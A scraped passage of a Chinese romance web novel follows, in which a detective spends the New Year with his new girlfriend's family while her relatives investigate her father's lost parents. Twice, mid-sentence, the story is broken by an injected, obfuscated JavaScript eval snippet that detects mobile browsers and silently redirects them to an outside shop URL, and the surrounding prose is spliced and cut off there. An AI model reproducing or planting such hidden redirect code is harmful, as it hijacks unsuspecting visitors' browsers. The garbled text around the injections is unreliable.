不行了,这弯拐得太陡了,闪着他的心了,没忍住,把人拽到怀里,摁在胸口:“那你是答应了?” 姑娘家的声音闷闷的,跟他的心跳共振:“我要是不答应,你会伤心吗?” “会。”心跳可以作证。 姚长安又问:“你就没想过我会拒绝吗?” 温怀瑾微微松开一点,别把刚追到的女朋友给闷坏了,他低头,眼角噙着笑:“想过。” “那你怎么办?” “锲而不舍,越挫越勇!” “切,我才不信,你都伤心了,还怎么勇?” “那我现在勇给你看?” “看什么?”姚长安好奇,下意识抬头看向他的脸庞。 还没来得及反应,男人温热的双唇便盖在了她的额头上,男人的嗓音低低的,笑意盎然:“勇吗?” 姚长安没想到他说的勇是这么个勇法,没忍住,笑着捶他胸口:“讨厌!一点新意都没有!” 那他真不懂怎么有新意,只能虚心求教:“你教我。” 姚长安正准备提示他一些浪漫的做法,忽然耳边传来擂鼓般的声响,哎呦喂,人民公安还没有吃饭呢!赶紧戴上手套,准备下车:“算了,这么晚了,你还饿着呢。以后再说。” 温怀瑾扯住她的胳膊,确认道:“等等,你没有跟我开玩笑吧?” “谁会拿这种事开玩笑啊!”姚长安又羞又恼,一扭头,狠狠在他额头上也盖了个吻,转身滑不溜手地跑下车去。 温怀瑾怔怔地抚摸着额头,笑意像那一池春水,被她投入的小石子激荡开,涟漪阵阵。 真坏,刚说额头吻没有新意,自己就照葫芦画瓢来了一个。 把他的心都亲乱了,只能迟了一会儿,整理一下心情再下车。 刚走几步,便看到姚长安主动把手伸了过来:“男朋友,牵着吧,别走丢了,我可赔不起。” 天空绽放一朵硕大的烟花,将男人的牙齿照得雪白。 他的眼中闪着明媚的星辰,今天这趟奔波,值了! 进了门,姚长安没有扭捏,主动介绍道:“爸,妈,我男朋友,温怀瑾。” 姚良远跟刘克信都是一愣,男朋友?真猜对了?还是温枕瑜那个大哥?邢亚辉的大表哥?也不知道品行怎么样?不过他之前让安安带了礼品回来,又是当刑警的,应该是个知书达礼的孩子吧?两人对视一眼,知道不能冷场,异口同声道:“站那干什么?快进来吧!” 温怀瑾有些难为情:“不好意思叔叔阿姨,临时过来的,买不到礼品了,明天补上。” “客气什么,快快快,开了这么远的车饿了吧,我来下水饺。安安房间开了空调,快进去暖暖身子。”刘克信赶紧去厨房开火。 姚良远则问道:“喝茶吗?毛尖、龙井、碧螺春和普洱都有,你要什么?” “毛尖吧叔叔,长安给我泡过,挺好喝的。”温怀瑾有点拘束,好在姚长安一直牵着他的手,那是一种沉默的支持和无声的鼓励。 姚良远笑着让他随便坐,转身也去了厨房,两口子齐刷刷看了眼客厅,见女儿正在帮人小伙子摘帽子,片刻后小伙子也帮女儿捂起手来,举止亲密,不像是假的,这才回头对视了一眼。 确定,不是开玩笑! 确定,是认真的! 两口子有话难言,等到两人进了空调房,刘克信才嘀咕了一句:“这孩子,一点准备都不给我,我差点没有控制好表情。也不知道人家小伙子会不会多心。” “应该没事,要相信闺女的眼光。”姚良远还是有点信心的,毕竟邢铁军一直把这个姨外甥夸得天花乱坠的,就算打个折扣,也不会逊色到哪儿去的。 再说了,大过年的,人家辛辛苦苦开车过来,这诚意比买什么礼品都重要。 他是男人,他最懂一个男人的行动胜过千言万语,于是他叮嘱道:“有什么问题等这小子回去了再说,人家现在是客人,咱们就是有再多的疑问,也要憋着。” “我知道,不能让人家孩子不自在。”刘克信给他一个放心的眼神,赶紧盯着饺子去了。 姚良远泡好茶,刚到客厅,就看到温怀瑾出来了,外面的风衣脱了,里面只穿着毛衣和衬衫,主动过来帮忙端茶。 挺好,有礼貌,讲礼数,不像他那个弟弟,目中无人。 哎,真是怪了,一个爹妈生的,差距怎么这么大呢。也不知道两个小年轻以后真成了的话,温家老二会不会欺负安安。 想到这里,姚良远决定试探一下:“小温啊,怎么没有跟你弟弟一起来,人多热闹。” 温怀瑾也是个人精,知道这个问题不能看表面,所以他的回答也很有深意,他直击要害,道:“他在首都给人做上门女婿,没空回来。” 哦,那没事了。都做上门女婿了,基本上碰不到安安了。姚良远笑着催道:“快进去,外面冷,等会你阿姨给你把饺子端进去,你别再出来了,把你冻着了安安该着急了。” 温怀瑾笑着说谢谢,端着托盘进了房间。 姚长安的房间虽然不是很大,但她睡的是一米二的单人床,不怎么占空间,里头还能摆俩柜子,一条长桌,桌子既能摆放书本、饭碗,也能放电视机和其他杂物,真是功能多多。 这会儿她坐在床边,开了电视,不过不是春晚,而是点播台的警匪片。 温怀瑾走近,把托盘放下,端了一杯给姚长安:“你喜欢看港片儿?” “嗯。”姚长安往旁边挪挪,“你呢,喜欢看什么?” “一样。”温怀瑾注意到了旁边的一列书,全是侦探小说,其中三本是他写的。他很意外,不知道是不是巧合,正准备问问,有人在外头敲门,他赶紧起身开门。 刘克信端着两碗水饺进来:“小温啊,这碗多的是你的,安安之前吃过了,少的是她的。趁热吃,别客气,啊。” 温怀瑾连声道谢,等刘克信出去了,他把门关上,回头一看,警匪片结束了,新点播的是龙珠。 时机错过了,那就下次吧,他在床前坐下吃饺子,托盘里还摆了一个醋碟,一个辣碟,他试了试辣的,还不错。 姚长安没动筷子,就坐在旁边看他吃,他脸上一热:“你不饿?” 姚长安笑得灿烂:“秀色可餐也,我正吃着呢。” 嘿,这情话,信手拈来啊!温怀瑾老脸一红:“真的?” “真的啊!”姚长安伸手摸了摸他的鼻子,居然是真的,这么挺,这么翘,堪称鬼斧神工。 老天还是偏爱这个伟光正的角色的,即便原文作者吝啬笔墨,没有描写,但他还是长了一张祸国殃民的脸。 难怪原文总写他“臭着脸”、“黑着脸”、“板着脸”,不写得生人勿近,怎么做女人绝缘体?怎么衬托温枕瑜的受欢迎? 偏心偏心,偏到最后,让她捡了漏。 她就这么捧着下巴,认真打量着这个俊男人,搞得温怀瑾都不好意思了。 只得塞了一个饺子进她嘴里,分散她的注意力。 姚长安不禁蹙眉:“酸的?” “你不吃醋啊?”温怀瑾吃火锅的时候确实没见过她吃醋,可是吃饺子……他有点愧疚,“抱歉。” “没事啦。”姚长安盯着他的筷子,故意臊他,“你怎么不用公筷了?一来就让我吃你口水啊。” 完了,温怀瑾这下真的觉得自己犯大错了,赶紧放下筷子:“那你吐了吧,我没想太多。以后改正。” 这一本正经的样子,成功逗笑了姚长安,她把饺子咽了,笑道:“不用以后了,你给我个辣的就行。” 温怀瑾换了她的筷子,沾了辣椒酱,递给她,她却接过筷子,塞他嘴里去了。 嘴里嘀嘀咕咕的:“真笨!逗你玩的,干嘛换筷子?谁家男朋友跟女朋友分那么清的?没劲,讨厌!” 温怀瑾到底是个不懂浪漫的老古板刑警, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985629|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪里想到她不是真的生气,而是逗他玩的。 现在好了,她真的生气了,他又不知道该怎么办了,只得用自己的筷子,重新夹了一个,沾了辣椒酱之后,送到她嘴边。 姚长安很给面子,一口吃了,又觉得自己亏了,拿起自己的筷子,吃了两个之后,把自己的筷子塞给了他。 温怀瑾懂了,口水是吧?行!他面色如常地把饺子吃完,出去把两个碗洗了,又回答了姚长安妈妈的几个问题,这才进来了。 刚进门,就看到姚长安全副武装,准备出去。 他明白,他不能在这里留宿,便穿上风衣,戴上帽子,跟了出去。 姚长安不打算回来了,毕竟把他一个人留在旅馆不好,她住他隔壁得了,要不然,他又要送她回来,太晚了,就不折腾了。 她跟爸妈说了一声,两口子没有异议,只叮嘱了一声路上小心,连什么开两间房都没有提。 开明得很。 却让温怀瑾越发明白这份开明的重量,这何尝不是一种信任,一种考验呢。 他不像他弟弟,那么急色,开好房间,互道晚安,便睡觉去了。 一晚上辗转反侧,也不知道姚长安一个人怕不怕。 想想还是打了个电话过去:“要我送你回去吗?” “不用。”姚长安在调点播台。 温怀瑾还是过意不去,大过年的,让人家女孩子离开父母,真是欠考虑。 他又问了一遍:“你一个人睡不怕吗?” “怎么,你害怕呀?”姚长安不困,精神抖擞的。 温怀瑾哭笑不得,他一个大男人怕什么?正准备劝她回去,电话却挂了,很快便听见有人敲门。 门一打开,姚长安便抱着枕头钻了进来:“你不是害怕吗?我陪你啊,男朋友。” 温怀瑾投降了,真的,怎么会有人用这么一本正经的口吻,喊他男朋友? 不能喊名字吗?他抗议:“换个称呼好不好?” “怀瑾?瑾瑾?温怀瑾?我不,我就喊你男朋友。”姚长安耍赖皮,“你自己说的,让我跟我爸妈说你是我男朋友。” 喂!讲不讲理!男朋友是身份,又不是名字!他正准备抗议,就看到姚长安打开了电视机,坐在窗口的椅子那津津有味地欣赏起来。 声音调得很低,生怕吵着他,她不会真以为他害怕吧? 他走近些,想要解释清楚,却被她直接摁回床上:“你快睡,你睡着了我就去隔壁。” 温怀瑾确定了,这是个傻姑娘。居然以为她在这里他还能睡得着? 救命! 算了,她是好意,虽然过分单纯的好意是一种煎熬,但他还是躺下,让自己看起来睡着了。 不知道过了多久,他以为她该走了,结果点播台的剧目换了一个又一个,她还是没走。 温怀瑾起来一看,真厉害,睡着了! 他忽然想笑,这么不设防,这是有多信任他。真好。 他走过去,把人抱到床上,盖好被子,掖好被角后自己坐在床头,跟每一个值班的晚上一样,就那么靠着,和衣而眠。 那正义感十足的气势,像极了一尊守护者雕塑。 第二天醒来,姚长安一抬头,便对上男人英俊的脸庞,他坐在旁边,噙着笑意,眉眼弯弯。 姚长安有点懵,回过神来,才想起自己昨晚是来干什么的,不禁笑出声来:“我睡着了?” “嗯。”温怀瑾起来活动了一下筋骨,他拉开了窗帘,“下雪了,新年快乐,女朋友。” 姚长安没憋住,笑得很大声,走过去捶了他两下,这才回隔壁刷牙拿东西去了。 收拾完,她来这边等他一起退房,温怀瑾却磨磨蹭蹭的,不知道在卫生间干什么。 姚长安敲了敲门:“你掉里面啦?” “没有刮胡刀。”温怀瑾有些无奈,早知道带一个。 姚长安笑着安慰道:“我不嫌弃你,没刮胡子的男朋友。” “谢谢啊,心胸开阔的女朋友!”温怀瑾出来了,刚洗过的脸庞,格外眉眼如画,头发上还滴着水。 那一滴水顺着他的脸颊,勾勒出惊心动魄的轮廓,最终滑落他的领口。 喉结分明,脖颈修长,衬衫下的光景不用看也知道,一定天赋异禀。 真是秀色可餐。 姚长安没忍住,一把勾住他的脖子,先亲他一口再说。 32. 初恋(二更) 姚长安长这么大,第一次跟人接吻,可别说,滋味真不错。 她这男朋友的嘴唇软软的,弹弹的,像是甜美可口的布丁,唇齿间还带着薄荷的清香,很是提神醒脑,让她清醒地意识到在做什么,但她还是很快沉沦了。 男人身上暖烘烘的,大冬天的搂着,像是抱了个火炉子,让人浑身燥热,恨不得咬他一口才好。 想想还是舍不得,只是用牙尖轻轻摩挲了两口,没想到这小子看起来是个正人君子,报复心起来的时候,还挺野的,立马不客气地反攻了回来。 摩挲了还不够,还要掠夺她口腔里的空气,让她变成一条搁浅的大笨鱼,只能扑扇着“鱼鳍”,紧紧环住他的腰,险些一口气不来,直接溺死在男人掠夺性的亲吻里。 还好这男人确实是个正人君子,自带刹车,踩得很及时。 等他大喘着气将她松开,姚长安便像个重归大海的鱼儿,滑不留手地跑了。 看起来是主动跑了,实际上是落荒而逃,那小心脏扑通噗通的,根本不受控制,脑子也嗡嗡嗡的,好像被千军万马追赶,稍微慢一步,她就要彻底沦为俘虏了。 到了前台,办理完退房,她的心情才逐渐平息了下来,等了好几分钟,她的男朋友可算是来了,脸上红晕难消,看起来比她还狼狈一些。 她没忍住,背过身去偷笑不止,等到温怀瑾也退了房,喊了一声长安,她才回过头来,挽住他的胳膊。 大门一推,风雪扑了满怀,姚长安猝不及防地打了声喷嚏,温怀瑾赶紧把自己的风衣解开,把她拽到怀里,挡着点风。 就冲这一个举动,姚长安便觉得这个新年真是值了,超值! 这么有英雄气概的男朋友,上哪儿找去?她就这么紧紧搂着他的腰,躲在他风衣的庇护下,一直走到了停车场,等到上了车,他才把衣服扣上。 姚长安感动坏了,赶紧握着他的手,帮他暖暖,结果人家手心热乎的,倒是她自己小手冰凉。 得,最后被暖的又成了她自己,感情她是找了个火炉子当男朋友,他除了一双耳朵会挨冻,哪儿都冻不着。 不过现在也不用担心他的耳朵了,他随身带着那顶雷锋帽呢,摘下来,头发丝儿都热气腾腾的,真好玩儿。 姚长安摸了摸他的脑袋:“原来我男朋友是蒸汽驱动的。” 这是什么冷笑话?温怀瑾哭笑不得,一把将她摁在怀里,想亲,又怕失控,四目相对了好一会儿,终究还是算了。 最终只是互相蹭了蹭脸颊,便将躁动的小鹿摁下,揭过了这茬。 昨晚过来怕他不认路,姚长安开的车,这会儿他坐在驾驶室,总觉得椅子不合适,调了下,才问道:“回去吗?” “随便转转吧。”姚长安不想过早回去,待在房间里容易乱了方寸,不如在外面转转,她有些好奇,“你家早年不是在县城住的吗?房子还在吗?” “在,有点远,你要去看看吗?”温怀瑾昨晚其实也想过去的,但是太晚就算了。毕竟姚长安家在城东,是新城区,环境和配套都比较齐全,他家老宅在西边的老城区,挨着公园,有点远。 姚长安也想不到别的地方可去,点点头:“去看看吧,认个路。你着急回去的话就算了。” “不着急。”温怀瑾心头的燥热,已经被北风冷却下来了,他调好座椅,叮嘱一声系安全带,随后便往老城区开去。 路过汽运站门口的公交站时,看到一个军人在站台上等车,姚长安赶紧喊了一声停车。 温怀瑾减速后向前滑行了十几米,车子刚停稳,姚长安就冲了下去,帽子和围巾都没戴,他赶紧拿上,追了出去。 但见姚长安像个喜鹊一样扑到那军人面前,双手扶着膝盖,特地弯着腰,从下往上看,可爱得很。 估计是她的哪个亲戚?不然不可能这么亲昵,毕竟她是个很有分寸感的女生。 温怀瑾是职业刑警,当下做出了判断,他笑着走上前来。 姚长安介绍道:“这是我大舅家的表哥,刘行俊,行走的行,俊俏的俊。哥,这是我男朋友,温怀瑾,怀瑾握瑜的那个怀瑾。” 温怀瑾恍然,果然是亲戚,他帮姚长安戴好帽子围巾,伸出手去:“解放军同志,你好。” 刘行俊没听说过表妹有男朋友了啊,但是出于礼貌,他还是握了握手:“你好,外地的?” “不算,他家以前也住这里,后来搬省城去了。”姚长安介绍了一下温家的情况。 刘行俊恍然,他爸原来是乡镇派出所的,后来才调到了城区做片儿警,两家估计刚好错开了,不认识正常。 既然遇上了,他自然要邀请表妹和她男朋友去家里坐坐,姚长安盛情难却,但她还是回头跟温怀瑾商量了一下:“咱们的计划取消,行吗?” “行!”温怀瑾很开心,这种小事她都会照顾他的感受,这女朋友真好,天下第一好。 三人上了车,这次换姚长安开车,两个男同志坐在了后排闲聊。 刘行俊跟查户口似的,把温怀瑾的家庭情况全部打听了一遍,不禁嘀咕道:“我说名字怎么听着这么耳熟呢,原来是邢亚辉那小子的表哥啊。” 看来这壶不开的水总有人想提,温怀瑾尴尬地笑笑。 姚长安赶紧帮他解围:“哥,别提邢亚辉,本来就是长辈胡闹定的亲,我跟他早八百年就没有关系了。人温怀瑾同志是我初恋,不许你拿他跟别人比较。” 刘行俊哭笑不得,他也没说什么啊,这妹子,还没嫁人呢,就胳膊肘往男朋友那儿拐了。 他又问了问温怀瑾的岁数,职业,工作几年了,有没有车房,简直比姚长安的爸妈还仔细。 好在温怀瑾并不觉得冒犯,这是一个表哥对于表妹的正常关心,他一一作答,末了笑道:“还有什么想问的吗?” “有,你的恋爱史,给我老实交代。”刘行俊生怕表妹被欺负,一副不说实话就要大刑伺候的唬人表情。 温怀瑾理解他的心情,坦白道:“没有历史,只有现在进行时。” 这回答还挺文艺,刘行俊确认道:“真的?我表妹也是你初恋?” “这种事没必要撒谎,而且长安并不好骗。”温怀瑾客观评价道,“她很挑剔的,不收垃圾。” 刘行俊忍不住笑了:“你小子可以啊,变着法子夸自己呢。” 温怀瑾谦虚地笑笑:“我有人证,对吗长安?” “对,我就是你的人证。”姚长安哭笑不得,这人真逗,谈个恋爱还整上人证了,职业病病得不轻。 路上姚长安停了一次车,挑了个水果超市,买了两个果篮,这才重新启程。 说话间到地方了,姚长安把车停好,把两个果篮塞进温怀瑾手里,便跟着表哥上楼去了。 大舅家在老城区,住的是老式筒子楼,房间不大,胜在温馨,而且他的子女除了小儿子刘行俊,其他的都成家搬出去了,如今老两口住着,不觉得挤。 看到小儿子回来了,老两口挺高兴,再看外甥女也跟了进来,更是开心得不行。 正喊着安安快进来,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987381|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想到又进来一个大块头,门框有点矮,差点撞到人家。 老两口明显一愣,刘行俊赶紧介绍道:“爸,妈,这是小妹男朋友温怀瑾,是个刑警,跟我爸算是同行。” 刘克仁显然听姚良远提过温家的人,毕竟是邢亚辉的亲戚,他亲自接过果篮,笑道:“坐吧孩子,中午吃点什么?我跟你们舅妈来做。” 姚长安摇摇头:“不了大舅,我跟他还有别的安排,只是看到表哥在等车,顺路送他回来。” “那怎么行呢,大过年了,到了舅舅家也不吃顿饭,回头你舅舅要不高兴的。”大舅妈孙文姗是个老中医,慈眉善目的,直接把门一关,不让他们走了。 无奈,姚长安只好给家里打了个电话,中午在大舅这里,不回去了。 正好两口子要回请朋友,便叮嘱了一声,让她照顾着点小温,人家孩子初来乍到的,别让人家不自在。 姚长安明白,挂了电话,便去厨房转了转,却被大舅妈给撵了出来:“去去,你们年轻人聊你们的去,别在我们老年人跟前捣乱。” 姚长安哭笑不得,只得去客厅,跟两个男同志玩牌去了,她不会别的,只会小猫钓鱼。 刘行俊护短,赶紧给表妹找补:“我妹是学霸,她不是不会别的,只是懒得学。” 温怀瑾有点想笑,他没说什么呀,这个表哥真逗,看岁数可能还没有他大呢,倒是管得挺宽,行吧,他得跟着姚长安的排序来,以后真成了,还得管人家叫哥。 想想挺滑稽的,不过刘家的气氛很好,跟姚长安家一样,一看就是老两口恩爱,子女也教得不差的那种。 远比他爸妈同床异梦强多了。 这年过得真不亏,有了女朋友,还能体验她家和亲戚家的人间烟火,总算是有点年味儿了。 吃饭的时候,刘家父母并没有查户口,大概是因为他刑警的身份,省去了不少麻烦。 吃完他便跟姚长安告辞了,刘行俊送他们下楼,到了车门外,叮嘱道:“哎,温怀瑾,你给我听着,你是个刑警不假,可我还是个军人呢,再过几年,指不定谁的级别更高。你不准欺负我妹,听见没有?” 温怀瑾还没有开口,姚长安便把他拽到了身后:“好了哥,他不敢的,你快回去吧,外面冷。” “不行,你让他自己说。”刘行俊必须要他一个保证,他这妹子多好啊,一个人在外工作,娘家人肯定要撑腰啊,这样别人才不敢欺负她。 温怀瑾理解他的苦心,严肃认真地回道:“你放心,号码写给你了,我哪里做得不好,你尽管打电话骂我,我立即改正。” “这还差不多。”刘行俊平时挺和气的,板着脸装大家长装得也辛苦,这会儿事情说完了,自己也忍不住笑了。拉着姚长安问道,“我威严吧?像不像个做哥哥的?” “怎么能用像这个字呢?你本来就是我哥嘛,好啦,快回去吧,你难得回来,多陪陪舅舅舅妈。”姚长安上了副驾驶。 等到车子开远了,刘行俊这才依依不舍地回去了。 到了家里,刚抱了个热水袋捂手,便听他爸问道:“俊啊,不是让你打听你小姑父的爸妈吗?有情况没有?” “有!”刘行俊愁眉不展地坐下,“爸,事情比较棘手。” “怎么?”刘克仁赶紧坐下,一脸严肃,“难道那边真出事了?” “是出事了,可是出事的不是他爸爸。”刘行俊眼中满是不忍,真相会刺痛小姑父的,他想了想,劝道,“要不算了,小姑父大半辈子都过来了,还是别认了。” 33. 认亲 刘克仁问了下到底什么情况,刘行俊难以启齿,怕刺激到小姑父,还是想算了。 刘克仁直接给了他一个脑崩儿,骂道:“蠢东西,只要人活着,其他的都好办,起码要给你小姑父把军属的身份认回来,以后你姑父的养老金、医疗保险这两块,都能有不少照顾,这么一来,能给你妹妹减轻不少的压力!你在这里磨磨蹭蹭的,到底想不想让你妹妹好过?” 刘行俊当然懂这些道理,可是…… 算了,他咬咬牙,豁出去了,解释道:“其实去年夏天我就打听到一个大概了,只是有些事情没搞清楚,所以又耽误了半年。” “什么?半年前就知道了?那你不早说。”刘克仁生气了,这个败家孩子,耽误事儿嘛不是。 刘行俊冤枉死了,辩解道:“爸,你能不能听我说完,当时我是打听到小姑父的爸爸还活着,可是他爸身边的女人换了,不是他妈!建设兵团离得那么远,我不得花时间搞清楚吗?” “什么?这怎么可能呢?他们两口子那么恩爱,怎么会……”刘克仁当时已经记事了,他见过那对夫妻。 刘行俊默默叹气:“听说……爸你别激动啊,我只是听说,不一定是真的。” “你快说吧。”刘克仁没耐心了,满脸写着烦躁。 刘行俊赶紧解释道:“听说小姑父的妈妈,受不了火车的颠簸,在半路就见红了,好在车上有去那边探亲的医生,紧急帮忙接生。” “这不对啊,她去的时候才怀孕三个多月,要不然她也不敢坐火车走啊。”刘克仁觉得这里头有问题。 刘行俊也糊涂了,问道:“是吗?可是我听说她在车上就生了。生了个儿子,生完就大出血死了。后来是好心的医生帮她把孩子送到了部队。后来小姑父的爸爸,就跟那个医生在一起了。” “这不可能!月份对不上,三个多月生下来就是神仙也活不了。”刘克仁不信,当务之急,是让姚良远去西北找他亲爹问问到底怎么回事。 那个医生绝对有问题,搞不好是眼红姚良远的妈,把人拐到别的地方藏起来,再弄个自己的孩子狸猫换太子。 这种事情前些年这边就发生过一起,刘克仁又是个片儿警,这种狗血伦理闹剧见得太多了,立马脑补了一个最有可能的情况。 如果真是这样,那个医生必定掌握了姚良远妈妈的全部信息,她不想东窗事发,所以拦截了这边寄过去的信,让姚良远的爹以为姚良远死了,或者弄了个假的冒充! 要不然一个男人不可能不认自己儿子,还是长子,这对于正常且有能力养活孩子的男人来说,是绝对说不通的! 他赶紧叫上刘行俊,去找姚良远面谈,没想到家里没人,只好留了张便条,先回去了。 路上刘行俊问道:“要不给表妹打个电话?让她去找小姑和小姑父?” “那孩子是个炮仗脾气,到时候闹到部队去不好收拾。先别告诉她。”刘克仁考虑问题比较全面,“这里头还有好多问题没有弄清楚,要真是我想的那样,你妹妹不把那个女人撕下一层皮来不会罢休的。” 那倒也是,刘行俊想想,这事要等尘埃落定了才敢告诉表妹了。 好在现在有亲子鉴定技术,不怕那个女医生作妖,鉴定报告可以说明一切。 不过这事宜早不宜迟,毕竟小姑父的亲爹都七十多了,这个年纪的老头儿,随时都可能一命呜呼。 爷儿俩想想不能拖,还是折返了,在小区门卫室待着,看看电视嗑嗑瓜子,等他们夫妻俩。 快到两点的时候,姚良远跟刘克信才结束了应酬回来了,新买的桑塔纳刚进小区门,就被大舅哥拦住了。 两口子赶紧让他们父子上车,有什么事上家里说。 半个小时后,姚良远一锤定音:“我去找他!不为别的,就为我的安安,家里就她一个孩子,以后我们两口子养老都得靠她,一旦我有了军属身份,她能轻松不少。” “对,为了安安,其他的陈年旧事都可以不追究,军属身份一定要认!”刘克信本来就是做生意的,怎么可能算不明白这笔账呢。 这些年但凡有个军属身份,她跟姚良远能少受很多白眼,少吃很多苦!而且日后的养老和医疗,可以给安安减轻不少负担呢,必须争取,这本来就是她男人应得的! 两口子赶紧记下兵团干休所的地址和号码,准备等闺女回了省城就走。反正两口子是开店的,时间自由。 * 姚长安跟温怀瑾去他老家门口转了一圈,锁着门,他也没带钥匙,就没有进去。 姚长安看着独门独栋的三层小楼,很是好奇:“房子是自建的?” “嗯,这一片刚开始都是公园,后来划了一块出来盖房,我爸妈当时是双职工,又是领导,单独分了块地皮,自己盖的话就是自有产权,厂里盖的话只有居住权,他们就找亲戚凑了笔钱。”温怀瑾一边解释一边调头,后视镜里有个烫着大波浪的孕妇提着购物袋往这边走。 他不认识,以为那女人是附近谁家的儿媳妇,便没有当回事,直接开走了。 姚长安听说过这种产权的房子,是国有土地,以后拆迁的话补偿会比普通居民区高不少。 不过那是温家自己的事,她没有打听产权在谁名下,那很市侩,不礼貌。车子调完头,跟那个孕妇擦肩而过,姚长安见她冲自己微笑,也客气地笑了笑,没有多想。 两人又去看了场电影,出来的时候天黑了。 温怀瑾买了几个礼盒提去了姚长安家里,留下吃了顿饭,八菜一汤,非常隆重,他都不好意思了。 吃完两人聊了会天,他便告辞了。 刘克信有点意外:“这么快就走啊?多玩两天好了。” 温怀瑾笑笑:“不了阿姨,以后有空再来。”毕竟他有随叫随到的使命在身,不能玩太久。 刘克信赶紧扯了扯姚良远,人家孩子头一次上门,又买了东西,做长辈的要表示表示的。 姚良远准备好了,赶紧拿出两个红包,两口子一人一个,每个包了三千,强行塞到了他手里。 温怀瑾想拒绝,姚长安劝道:“长辈给的,收下吧,又不是外人。” 这句不是外人可太暖心了,温怀瑾感动得无以复加,说了声谢谢,这才戴上帽子出去了。 姚长安把他送到停车场,进车里坐了坐,他的车真大,底盘也高,她开的话估计会不太适应。 正四处打量着,她的怀里多了俩红包,姚长安不理解:“给我做什么?” “长辈给的,我不好不收。你留着用,不然我不踏实。”温怀瑾知道她不肯,只能臊她一臊,“以后结了婚,家里财政都让你管,你先实习实习。” 姚长安脸颊滚烫:“什么呀,刚谈恋爱就想结婚的事了?你不再看看别的风景了?” “你就是最美的风景!”温怀瑾到底是写过小说的,话赶话的,能接上一两句浪漫的情话。 姚长安臊得不行,只得把红包收下。真讨厌!没想到他还有贫嘴的天赋,不客气地捶了他一拳。 温怀瑾撇撇嘴:“跟个小猫似的,杀伤力为零。” 姚长安不跟他一般见识:“那是我没有用力!” “你可以用力。”温怀瑾笑着点了火,发动机动起来,把暖气也开开,他女朋友怕冷。 姚长安并不打算用力,撇撇嘴臭美道:“我才不呢!我可是温柔善良的美女子!不想做舞刀弄棒的恶婆娘!” 温怀瑾笑得很灿烂,他这女朋友真有意思,没忍住,亲了一口。 姚长安热烈回应,彼此呼吸纠缠,心跳慌乱,很快连头发也失去束缚,狂野至极,可以住一窝小鸟。 这次还是温怀瑾踩了刹车,他喘着气,手摁着方向盘,别过头去:“我们做个约定吧。” “嗯?”姚长安也有点难为情,别过头去盯着玻璃的时候,才发现他也在对面的玻璃窗上看着她。 两人还挺默契,互相盯着倒影。 这也许就是天生一对?她笑了,回过头来,认真看着这个男人。 温怀瑾也回过头来:“回去我跟家里说一声,他们不会干涉我,只是出于尊重,让他们知道一下。” “嗯。”姚长安用手梳理一下头发,不然有碍观瞻。 温怀瑾伸手帮她把帽子戴上:“我们处半年试试,没有什么原则性问题的话,我们就结婚好不好?” “会不会太快了?”姚长安其实觉得还好,只是做个确认。 温怀瑾低头握着她的手:“快吗?你还记得在火车上那次吗?” “有点印象。”姚长安猜到他想说什么了,虽然老套,但她心跳莫名加速。 温怀瑾下意识靠近,在她耳边轻声呢喃:“你认真看书的样子特别迷人,拒绝我的样子更是让我难忘。长安,我单相思很久了。” “那确实挺久了。”都一年半了。姚长安抬头,蹭了蹭他的脸颊,“那就半年为期,没有什么大矛盾的话,我们结婚。” “你有什么要求吗?我回去准备准备。”温怀瑾认真的,他不想到时候太过匆忙。 姚长安摇了摇头:“没有。真要说的话,我希望你弟弟离我们远点,我不喜欢他。” “这个我控制不了,但我保证,就算他回来,我们也不去我爸妈那里吃大锅饭,我们单过,这样可以吗?”温怀瑾一向实事求是,他不是他弟的遥控器,主宰不了他弟的人生。 姚长安觉得没问题,额头贴着额头,小声道:“可以。哪怕是我不讲理,单纯讨 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姚长安拿起来一看,密密麻麻的存款记录,每个月都有一笔,金额不等,小几千到大几千,都有。 她震惊地看着他:“江中老尸系列是你写的?” “你怎么知道?”温怀瑾还挺意外,他还没说自己写的是哪几本。 姚长安笑着去卧室拿来那三本书:“我上次就注意到了,你特地问我对这个系列什么看法。男主角有个闯祸的弟弟,有个拍戏的妹妹,作者笔名冷流雪,不是你是谁?” 温怀瑾笑了,他这女朋友,挺细心的。他不禁好奇:“你买两套做什么?” “喜欢看啊,剧情环环相扣,推理逻辑缜密,我经常翻的,常看常新,我又工作了,懒得来回拿,我就买了两套。”姚长安把存折还给他,“收好,回头弄个银行卡,存折不方便。” “你帮我收着。”温怀瑾很感动,女朋友对他的小说评价这么高,这说明什么?说明他们不只是被彼此的皮囊吸引,他们是灵魂伴侣,是天生一对。都一对了,她帮他管钱不是天经地义的? 姚长安不肯:“我要你存折做什么?” “过年那天不是说好了,财政大权给你。”温怀瑾握住她的手,连带着他的稿费存折,“姚长安同志,你答应过的,不能言而无信。” 姚长安无奈,只好替他收着了,反正这本也满了,该换一本了。 她抽空陪他去银行办了张卡,把钱存进去,又跑了趟出版社,以后稿费直接打到卡上,省得他还要拿着汇款单跑邮局。 从出版社出来,姚长安不禁感慨,原来书写得好真的可以实现财富自由。真羡慕。 也是幸运,连着几个月,温怀瑾都没有出过差,可见刑警的常态还是本地办案,除非遇到跨省作案的,否则真没那么多差可出。 一晃春天过去了,小情侣打得火热,搞得张浩都被狗粮喂饱了。他整天跟黄华嘀咕,他们要抢在温哥前头把婚结了,不然就成落后分子了。 可惜两家买婚房的事没有谈拢,一家不想加名,一家不想出钱,只得耗着。 